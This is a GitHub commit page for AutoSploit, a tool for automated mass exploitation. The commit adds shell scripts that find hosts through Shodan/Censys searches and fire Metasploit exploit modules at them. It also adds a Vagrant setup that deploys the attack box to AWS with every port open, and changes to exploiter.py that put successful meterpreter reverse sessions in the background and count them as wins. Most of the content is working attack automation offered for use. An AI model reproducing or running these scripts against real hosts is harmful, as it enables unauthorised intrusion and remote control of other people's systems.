Skip to content

Commit 4506271

Browse files
SeloraEkultek
Selora
authored and
Ekultek
committed
PR #133 cleaned - Autosploit Automation (#134)
* Scripts to automate autosploit. ./dryrun_autosploit.sh will search censys/shodan/etc and do a dry-run against discovered hosts that are in the whitelist. VALIDATE THE DRYRUN REPORT BEFORE LAUNCHING THE ACTUAL EXPLOIT RUN ./run_autosploit.sh will run autosploit in exploit mode against previously discovered hosts in the whitelist. * Removed blocking MSF modules from default module list. Added a fuzzers-only json file. In the same idea, Trans2open exploits are taking about 2h+ per host to run. Maybe implement a "long run" feature in the next release? * Added a vagrant config to easily deploy autosploit to aws-lightsail. COMES WITHOUT WARRANTY. Use as a starting point. Tweaks to make it usable for dev: - Setup a synced folder with your autosploit dev in the Vagrantfile Refer to vagrant doc. - Use vagrant rsync-auto Since vagrant file cannot really be shared as-is, some tweakings might be necessary. Try: -Modifying the Vagrantfile according to your ssh keys path -Installing the aws-cli pacakge -Configuring ~/.aws directory * Bugfix and improvements: Successful exploits will start meterpreter in background. Fixed counter for successful exploits/failed exploits bug, counting success/failure occurence, not line outputs. Success/failures now grepping escaped MSF output for success/failures. Grepping for keywords such as "Meterpreter", "Session" for success.
1 parent 8277b0e commit 4506271

File tree

7 files changed

+134
-31
lines changed

7 files changed

+134
-31
lines changed

‎Vagrant/Vagrantfile‎

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# Use as a strating point to spin up a box in lightsail.
2+
# the vagrant-lightsail plugin is required
3+
# You probably also need to:
4+
# - Configure the ssh keys path
5+
# - Install and configure the aws-cli package
6+
7+
Vagrant.configure('2') do |config|
8+
config.vm.synced_folder ".", "/vagrant", type: "rsync",
9+
rsync__exclude: ".git/",
10+
rsync__auto: true
11+
12+
config.ssh.private_key_path = '/path/to/id_rsa'
13+
config.ssh.username = 'ubuntu'
14+
config.vm.box = 'lightsail'
15+
config.vm.box_url = 'https://github.com/thejandroman/vagrant-lightsail/raw/master/box/lightsail.box'
16+
config.vm.hostname = 'autosploit-launcher'
17+
18+
config.vm.provider :lightsail do |provider, override|
19+
provider.port_info = [{ from_port: 0, to_port: 65535, protocol:
20+
'all' }]
21+
provider.keypair_name = 'id_rsa'
22+
provider.bundle_id = 'small_1_0'
23+
end
24+
25+
config.vm.provision "bootstrap", type: "shell", run: "once" do |s|
26+
s.path = "./bootstrap/bootstrap.sh"
27+
end
28+
end

‎Vagrant/bootstrap/bootstrap.sh‎

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
#!/usr/bin/env bash
2+
3+
4+
echo "Yolosploit configurator 2.42"
5+
sudo apt-get --yes update
6+
sudo apt-get --yes upgrade
7+
8+
echo "Installing metasploit. BE PATIENT (5 min max?)"
9+
wget --quiet https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
10+
chmod +x metasploit-latest-linux-x64-installer.run
11+
sudo ./metasploit-latest-linux-x64-installer.run --unattendedmodeui none --prefix /opt/msf --mode unattended
12+
13+
echo "Installing pyhton2"
14+
sudo apt-get --yes install python python-pip python-virtualenv git
15+
16+
sudo apt-get --yes install fish
17+
sudo chsh -s /usr/bin/fish ubuntu
18+
19+
cd ~
20+
git clone https://github.com/NullArray/AutoSploit

‎dryrun_autosploit.sh‎

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#!/usr/bin/env bash
2+
3+
4+
if [[ $# -lt 2 ]]; then
5+
echo "Syntax:"
6+
echo -e "\t./dryrun_autosploit.sh <whitelist.txt> <search_query>"
7+
exit 1
8+
fi
9+
10+
WHITELIST=$1
11+
SEARCH_QUERY=$2
12+
LPORT=4444
13+
14+
LHOST=`dig +short @resolver1.opendns.com myip.opendns.com`
15+
TIMESTAMP=`date +%s`
16+
17+
18+
echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite \
19+
--whitelist $WHITELIST -e \
20+
-C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT \
21+
--exploit-file-to-use etc/json/default_modules.json \
22+
--dry-run"
23+
24+
python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite \
25+
--whitelist $WHITELIST -e \
26+
-C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT \
27+
--exploit-file-to-use etc/json/default_modules.json \
28+
--dry-run

‎etc/json/default_modules.json‎

Lines changed: 1 addition & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -263,27 +263,6 @@
263263
"exploit/windows/smb/ipass_pipe_exec",
264264
"exploit/windows/smb/smb_relay",
265265
"auxiliary/sqli/oracle/jvm_os_code_10g",
266-
"auxiliary/sqli/oracle/jvm_os_code_11g",
267-
"auxiliary/fuzzers/dns/dns_fuzzer",
268-
"auxiliary/fuzzers/ftp/client_ftp",
269-
"auxiliary/fuzzers/ftp/ftp_pre_post",
270-
"auxiliary/fuzzers/http/http_form_field",
271-
"auxiliary/fuzzers/http/http_get_uri_long",
272-
"auxiliary/fuzzers/http/http_get_uri_strings",
273-
"auxiliary/fuzzers/ntp/ntp_protocol_fuzzer",
274-
"auxiliary/fuzzers/smb/smb2_negotiate_corrupt",
275-
"auxiliary/fuzzers/smb/smb_create_pipe",
276-
"auxiliary/fuzzers/smb/smb_create_pipe_corrupt",
277-
"auxiliary/fuzzers/smb/smb_negotiate_corrupt ",
278-
"auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt",
279-
"auxiliary/fuzzers/smb/smb_tree_connect",
280-
"auxiliary/fuzzers/smb/smb_tree_connect_corrupt",
281-
"auxiliary/fuzzers/smtp/smtp_fuzzer",
282-
"auxiliary/fuzzers/ssh/ssh_kexinit_corrupt",
283-
"auxiliary/fuzzers/ssh/ssh_version_15",
284-
"auxiliary/fuzzers/ssh/ssh_version_2",
285-
"auxiliary/fuzzers/ssh/ssh_version_corrupt",
286-
"auxiliary/fuzzers/tds/tds_login_corrupt",
287-
"auxiliary/fuzzers/tds/tds_login_username"
266+
"auxiliary/sqli/oracle/jvm_os_code_11g"
288267
]
289268
}

‎etc/json/fuzzers.json‎

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
{
2+
"exploits": [
3+
"auxiliary/fuzzers/dns/dns_fuzzer",
4+
"auxiliary/fuzzers/ftp/client_ftp",
5+
"auxiliary/fuzzers/ftp/ftp_pre_post",
6+
"auxiliary/fuzzers/http/http_form_field",
7+
"auxiliary/fuzzers/http/http_get_uri_long",
8+
"auxiliary/fuzzers/http/http_get_uri_strings",
9+
"auxiliary/fuzzers/ntp/ntp_protocol_fuzzer",
10+
"auxiliary/fuzzers/smb/smb2_negotiate_corrupt",
11+
"auxiliary/fuzzers/smb/smb_create_pipe",
12+
"auxiliary/fuzzers/smb/smb_create_pipe_corrupt",
13+
"auxiliary/fuzzers/smb/smb_negotiate_corrupt ",
14+
"auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt",
15+
"auxiliary/fuzzers/smb/smb_tree_connect",
16+
"auxiliary/fuzzers/smb/smb_tree_connect_corrupt",
17+
"auxiliary/fuzzers/smtp/smtp_fuzzer",
18+
"auxiliary/fuzzers/ssh/ssh_kexinit_corrupt",
19+
"auxiliary/fuzzers/ssh/ssh_version_15",
20+
"auxiliary/fuzzers/ssh/ssh_version_2",
21+
"auxiliary/fuzzers/ssh/ssh_version_corrupt",
22+
"auxiliary/fuzzers/tds/tds_login_corrupt",
23+
"auxiliary/fuzzers/tds/tds_login_username"
24+
]
25+
}

‎lib/exploitation/exploiter.py‎

Lines changed: 16 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -121,7 +121,7 @@ def start_exploit(self):
121121
"setg threads 20\n"
122122
"set rhost {rhost}\n"
123123
"set rhosts {rhosts}\n"
124-
"run\n"
124+
"run -z\n"
125125
"exit\n"
126126
)
127127

@@ -156,22 +156,29 @@ def start_exploit(self):
156156
output = lib.settings.cmdline(cmd)
157157

158158
ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]')
159-
msf_output_lines = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)])
160-
msf_wins = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[\+\]', x)])
161-
msf_fails = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[-\]', x)])
159+
msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)]
162160

163-
win_total += len(msf_wins)
164-
fail_total += len(msf_fails)
161+
msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or
162+
'Meterpreter' in x or
163+
'Session' in x or
164+
'Sending stage' in x]
165+
166+
msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)]
167+
168+
if len(msf_wins):
169+
win_total += 1
170+
if len(msf_fails):
171+
fail_total += 1
165172

166173
csv_file = csv.writer(f, quoting=csv.QUOTE_ALL)
167174
csv_file.writerow([rhost,
168175
today_printable,
169176
module_name,
170177
lhost,
171178
lport,
172-
msf_wins,
173-
msf_fails,
174-
msf_output_lines])
179+
linesep.join(msf_wins),
180+
linesep.join(msf_fails),
181+
linesep.join(msf_output_lines)])
175182

176183
print()
177184
lib.output.info("********RESULTS**********")

‎run_autosploit.sh‎

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
#!/usr/bin/env bash
2+
3+
4+
if [[ $# -lt 2 ]]; then
5+
echo "Syntax:"
6+
echo -e "\t./run_autosploit.sh <whitelist.txt> <exposed_lport>"
7+
exit 1
8+
fi
9+
10+
WHITELIST=$1
11+
LPORT=$2
12+
13+
LHOST=`dig +short @resolver1.opendns.com myip.opendns.com`
14+
TIMESTAMP=`date +%s`
15+
16+
python autosploit.py --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json

0 commit comments

Comments
 (0)